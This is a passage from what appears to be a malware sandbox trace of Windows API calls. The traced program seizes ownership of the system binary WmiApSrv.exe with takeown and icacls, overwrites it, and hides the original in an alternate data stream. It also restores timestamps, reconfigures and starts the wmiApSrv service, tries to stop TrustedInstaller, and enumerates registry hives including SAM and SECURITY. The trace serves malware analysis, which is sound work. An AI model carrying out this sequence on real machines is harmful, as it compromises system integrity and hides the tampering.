RegSetValueExA (in: hKey=0x140, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0166.309] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0166.309] RegSetValueExA (in: hKey=0x140, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="", cbData=0x1 | out: lpData="") returned 0x0 [0166.309] RegEnumValueA (in: hKey=0x9c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0166.309] RegEnumValueA (in: hKey=0x9c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0166.309] RegEnumValueA (in: hKey=0x9c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0166.309] RegEnumValueA (in: hKey=0x9c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0166.309] RegEnumValueA (in: hKey=0x9c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0166.309] RegEnumValueA (in: hKey=0x9c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0166.309] RegEnumValueA (in: hKey=0x9c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0166.309] RegEnumValueA (in: hKey=0x9c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0166.309] RegEnumValueA (in: hKey=0x9c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0166.309] RegEnumValueA (in: hKey=0x9c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0166.310] RegEnumValueA (in: hKey=0x9c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0166.310] RegEnumValueA (in: hKey=0x9c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0166.310] ExpandEnvironmentStringsA (in: lpSrc="%systemroot%\\system32\\wbem\\WmiApSrv.exe", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x27 [0166.310] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16a0 [0166.310] ExpandEnvironmentStringsA (in: lpSrc="%systemroot%\\system32\\wbem\\WmiApSrv.exe", lpDst=0x21f16a0, nSize=0x27 | out: lpDst="C:\\Windows\\system32\\wbem\\WmiApSrv.exe") returned 0x26 [0166.310] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1658 [0166.310] RegSetValueExA (in: hKey=0x140, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\wbem\\WmiApSrv.exe", cbData=0x26 | out: lpData="C:\\Windows\\system32\\wbem\\WmiApSrv.exe") returned 0x0 [0166.310] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\system32\\wbem\\WmiApSrv.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x803ea0*="C:\\Windows\\system32\\wbem\\WmiApSrv.exe" [0166.310] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0166.310] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d458 [0166.310] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0166.310] LocalFree (hMem=0x803ea0) returned 0x0 [0166.310] RegSetValueExA (in: hKey=0x140, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\wbem\\WmiApSrv.exe", cbData=0x26 | out: lpData="C:\\Windows\\system32\\wbem\\WmiApSrv.exe") returned 0x0 [0166.310] OpenServiceW (hSCManager=0x803918, lpServiceName="wmiApSrv", dwDesiredAccess=0x2) returned 0x803990 [0166.396] ChangeServiceConfigW (in: hService=0x803990, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0166.473] CloseServiceHandle (hSCObject=0x803990) returned 1 [0166.473] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1778) returned 1 [0166.473] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d368) returned 1 [0166.473] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0166.473] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1730) returned 1 [0166.473] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d378) returned 1 [0166.473] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0166.473] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.473] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.473] RegCloseKey (hKey=0x140) returned 0x0 [0166.473] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0166.473] RegCloseKey (hKey=0x9c) returned 0x0 [0166.473] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f13d0) returned 1 [0166.473] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1388) returned 1 [0166.473] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wbem\\WmiApSrv.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiapsrv.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51b7192e, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x51b7192e, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xfd320280, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x31a00)) returned 1 [0166.474] CreateFileW (lpFileName="C:\\Windows\\system32\\wbem\\WmiApSrv.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiapsrv.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0166.474] GetLastError () returned 0x5 [0166.474] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0166.474] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.474] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0166.474] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x2159e98 [0166.474] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1388 [0166.474] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1388) returned 1 [0166.474] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2159e98) returned 1 [0166.474] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2f38 [0166.474] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x100) returned 0x21e4d30 [0166.474] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2f38) returned 1 [0166.474] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\takeown.exe", lpCommandLine="C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\system32\\wbem\\WmiApSrv.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x36f4b4*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x36f4a4 | out: lpCommandLine="C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\system32\\wbem\\WmiApSrv.exe", lpProcessInformation=0x36f4a4*(hProcess=0x140, hThread=0x9c, dwProcessId=0x79c, dwThreadId=0x798)) returned 1 [0166.590] NtClose (Handle=0x9c) returned 0x0 [0166.590] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4d30) returned 1 [0166.590] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x2159e98 [0166.590] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1388 [0166.590] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1388) returned 1 [0166.590] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2159e98) returned 1 [0166.590] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x2159e98 [0166.590] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1388 [0166.590] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1388) returned 1 [0166.590] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2159e98) returned 1 [0166.590] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x2710) returned 0x0 [0167.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2f38 [0167.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x100) returned 0x21e4d30 [0167.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2f38) returned 1 [0167.064] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\icacls.exe", lpCommandLine="C:\\Windows\\system32\\icacls.exe C:\\Windows\\system32\\wbem\\WmiApSrv.exe /reset", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x36f4b4*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x36f4a4 | out: lpCommandLine="C:\\Windows\\system32\\icacls.exe C:\\Windows\\system32\\wbem\\WmiApSrv.exe /reset", lpProcessInformation=0x36f4a4*(hProcess=0x14c, hThread=0x9c, dwProcessId=0x664, dwThreadId=0x130)) returned 1 [0167.118] NtClose (Handle=0x9c) returned 0x0 [0167.118] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4d30) returned 1 [0167.118] NtClose (Handle=0x140) returned 0x0 [0167.118] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x2710) returned 0x0 [0167.483] NtClose (Handle=0x14c) returned 0x0 [0167.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0167.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0167.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0167.483] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wbem\\WmiApSrv.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiapsrv.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51b7192e, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x51b7192e, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xfd320280, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x31a00)) returned 1 [0167.483] CreateFileW (lpFileName="C:\\Windows\\system32\\wbem\\WmiApSrv.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiapsrv.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c [0167.483] SetFileTime (hFile=0x14c, lpCreationTime=0x0, lpLastAccessTime=0x36f510, lpLastWriteTime=0x36f510) returned 1 [0167.483] GetFileSize (in: hFile=0x14c, lpFileSizeHigh=0x36f4fc | out: lpFileSizeHigh=0x36f4fc*=0x0) returned 0x31a00 [0167.483] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x36f508*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x36f508*=0) returned 0x0 [0167.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x31a00) returned 0x2159e98 [0167.483] ReadFile (in: hFile=0x14c, lpBuffer=0x2159e98, nNumberOfBytesToRead=0x31a00, lpNumberOfBytesRead=0x36f53c, lpOverlapped=0x0 | out: lpBuffer=0x2159e98*, lpNumberOfBytesRead=0x36f53c*=0x31a00, lpOverlapped=0x0) returned 1 [0167.486] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x31a00) returned 0x21f3ea8 [0167.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2159e98) returned 1 [0167.489] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x36f52c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x36f52c*=0) returned 0x0 [0167.489] WriteFile (in: hFile=0x14c, lpBuffer=0x219dea0*, nNumberOfBytesToWrite=0x44000, lpNumberOfBytesWritten=0x36f53c, lpOverlapped=0x0 | out: lpBuffer=0x219dea0*, lpNumberOfBytesWritten=0x36f53c*=0x44000, lpOverlapped=0x0) returned 1 [0167.491] SetEndOfFile (hFile=0x14c) returned 1 [0167.491] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x184) returned 0x21576d0 [0167.491] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1388 [0167.492] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f13d0 [0167.492] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0167.492] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1730 [0167.492] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1778 [0167.492] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1658 [0167.492] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16a0 [0167.492] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b20 [0167.492] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1610 [0167.492] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f15c8 [0167.492] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1580 [0167.492] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1538 [0167.492] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f14f0 [0167.492] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f14a8 [0167.492] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f17c0 [0167.492] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0167.492] GetFileTime (in: hFile=0x14c, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550*(dwLowDateTime=0xfd320280, dwHighDateTime=0x1ca0423)) returned 1 [0167.492] FileTimeToSystemTime (in: lpFileTime=0x36f550, lpSystemTime=0x36f57c | out: lpSystemTime=0x36f57c) returned 1 [0167.492] SystemTimeToFileTime (in: lpSystemTime=0x36f57c, lpFileTime=0x36f550 | out: lpFileTime=0x36f550) returned 1 [0167.492] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0167.492] NtClose (Handle=0x14c) returned 0x0 [0167.492] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wbem\\WmiApSrv.exe:0" (normalized: "c:\\windows\\system32\\wbem\\wmiapsrv.exe:0"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0xd, ftCreationTime.dwLowDateTime=0x246dd, ftCreationTime.dwHighDateTime=0x36f508, ftLastAccessTime.dwLowDateTime=0x77e50a45, ftLastAccessTime.dwHighDateTime=0x90a79c, ftLastWriteTime.dwLowDateTime=0x461bad0a, ftLastWriteTime.dwHighDateTime=0x80, nFileSizeHigh=0x2, nFileSizeLow=0x36f5a4)) returned 0 [0167.492] GetLastError () returned 0x2 [0167.492] CreateFileW (lpFileName="C:\\Windows\\system32\\wbem\\WmiApSrv.exe:0" (normalized: "c:\\windows\\system32\\wbem\\wmiapsrv.exe:0"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c [0167.493] SetFileTime (hFile=0x14c, lpCreationTime=0x0, lpLastAccessTime=0x36f510, lpLastWriteTime=0x36f510) returned 1 [0167.493] WriteFile (in: hFile=0x14c, lpBuffer=0x21f3ea8*, nNumberOfBytesToWrite=0x31a00, lpNumberOfBytesWritten=0x36f53c, lpOverlapped=0x0 | out: lpBuffer=0x21f3ea8*, lpNumberOfBytesWritten=0x36f53c*=0x31a00, lpOverlapped=0x0) returned 1 [0167.496] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0167.496] SetFileTime (hFile=0x14c, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550) returned 1 [0167.496] NtClose (Handle=0x14c) returned 0x0 [0167.497] OpenServiceW (hSCManager=0x803918, lpServiceName="wmiApSrv", dwDesiredAccess=0x10) returned 0x8038a0 [0167.497] StartServiceW (hService=0x8038a0, dwNumServiceArgs=0x0, lpServiceArgVectors=0x0) returned 1 [0169.326] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0169.326] WaitForSingleObject (hHandle=0x0, dwMilliseconds=0x1388) returned 0xffffffff [0169.326] GetLastError () returned 0x6 [0169.326] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3ea8) returned 1 [0169.326] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x803ea0) returned 1 [0169.327] CryptGenRandom (in: hProv=0x803ea0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0169.327] CryptReleaseContext (hProv=0x803ea0, dwFlags=0x0) returned 1 [0169.327] OpenServiceW (hSCManager=0x803918, lpServiceName="TrustedInstaller", dwDesiredAccess=0x20) returned 0x803990 [0169.328] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0169.328] GetLastError () returned 0x426 [0169.328] CloseServiceHandle (hSCObject=0x803990) returned 1 [0169.328] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0169.328] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0169.328] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0169.328] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0169.328] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0169.328] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0169.329] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.329] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0169.329] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.329] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f18e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0169.329] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.329] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.329] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.329] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.329] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0169.329] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.329] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0169.329] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.329] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0169.329] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.329] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.329] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.329] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.329] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0169.329] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.329] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0169.329] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.329] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0169.329] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.329] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.329] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.329] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.329] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0169.329] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.329] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0169.329] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.329] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0169.329] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.329] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.330] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0169.330] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.330] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, 